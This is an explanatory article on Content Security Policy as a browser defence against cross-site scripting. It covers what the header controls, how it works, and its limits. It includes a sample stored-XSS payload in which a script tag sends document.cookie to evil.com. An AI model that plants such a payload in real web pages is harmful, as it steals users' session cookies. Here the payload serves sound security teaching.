Imagine you've spent months building a secure web application.
Yet a single malicious JavaScript snippet injected into one page can still steal your users' sessions.
This is exactly the type of problem Content Security Policy (CSP) was created to solve.
Let's understand what CSP is, why it exists, and why it has become one of the most important security mechanisms for modern web applications.
What Is Content Security Policy?
Content Security Policy (CSP) is a browser security mechanism that tells the browser which resources are allowed to be loaded and executed on a web page.
Think of it as a whitelist for your application.
Instead of allowing the browser to execute any script, load any image, or connect to any server, you explicitly define what is trusted.
For example, a CSP policy might tell the browser:
Only execute JavaScript from my website.
Only load images from my network.
Never allow inline JavaScript.
Never execute code loaded from unknown domains.
If something violates those rules, the browser blocks it before it executes.
Why Was CSP Created?
When the web was younger, browsers trusted almost everything.
If a webpage contained JavaScript, the browser simply executed it.
It didn't matter whether the script came from:
As long as the browser received JavaScript, it ran it.
This became one of the biggest reasons behind Cross-Site Scripting (XSS) attacks.
Developers could write secure code, but if malicious JavaScript somehow reached the page, the browser had no way of knowing it wasn't supposed to execute it.
CSP changes that.
Instead of trusting everything, the browser now asks:
"Is this resource allowed by the site's security policy?"
If the answer is no, execution stops immediately.
Exemple of Attack Attempt
Imagine your application displays product reviews.
A malicious user submits:
<script>
fetch("https://evil.com/steal?cookie=" + document.cookie)
</script>
Without CSP:
Another user opens the page.
The browser executes the script.
Session cookies are stolen.
Even if your backend is secure, the browser has already executed the attack.
With a properly configured CSP:
The browser refuses to execute the injected script.
The attack fails before any code runs.
What Can CSP Control?
A CSP policy can restrict almost every type of resource.
For example:
JavaScript
CSS
Images
Fonts
Videos
AJAX requests
WebSockets
iframes
Workers
Media
Forms
Objects
Plugins
Instead of giving unrestricted access, you decide exactly where each type of resource may come from.
How Does It Work?
When a browser requests a webpage, the server can return a special HTTP response header:
Content-Security-Policy: ...
The browser reads this policy before rendering the page.
From that point onward, every resource request is checked against the policy.
If a request violates the policy, the browser blocks it automatically and reports the violation in the developer console or to a reporting endpoint if configured.
Unlike many security mechanisms, CSP enforcement happens entirely within the browser.
A Simple Example
Suppose your application serves everything from:
https://myapp.com
Your CSP may state:
Content-Security-Policy:
default-src 'self';
The browser now understands:
Only load resources from the same origin.
If someone injects:
https://evil.com/malware.js
The browser simply refuses to download or execute it.
Content Security Policy is one of the most powerful browser security features available today.
Still many developers believe CSP makes their application secure on its own. It doesn't.
CSP cannot fix SQL Injection, broken authentication, insecure APIs, or poor authorization logic.
Instead, it minimizes the impact of client-side attacks, particularly those involving malicious script execution.
Think of CSP as a seatbelt. Wearing one doesn't prevent accidents, but it significantly reduces the consequences when one occurs.